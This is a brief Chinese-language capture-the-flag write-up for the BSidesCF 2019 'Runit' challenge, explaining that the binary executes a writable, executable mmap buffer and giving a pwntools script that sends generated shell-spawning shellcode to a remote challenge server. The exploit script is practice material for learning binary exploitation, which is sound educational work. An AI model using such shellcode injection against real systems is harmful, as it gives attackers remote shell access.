[BSidesCF 2019]Runit
例行检查 ,32位,开启NX保护
运行一下。
IDA打开,查看主函数。
buf用mmap映射了地址,可读可写可执行,直接传入shellcode,15行调用了buf,运行shellcode获取shell。
from pwn import *
p=remote("node3.buuoj.cn",26059)
context.arch="i386"
shellcode=asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()
asm(shellcraft.sh())
asm()函数接收一个字符串作为参数,得到汇编码的机器代码
shellcraft模块是shellcode的模块,包含一些生成shellcode的函数。
flag: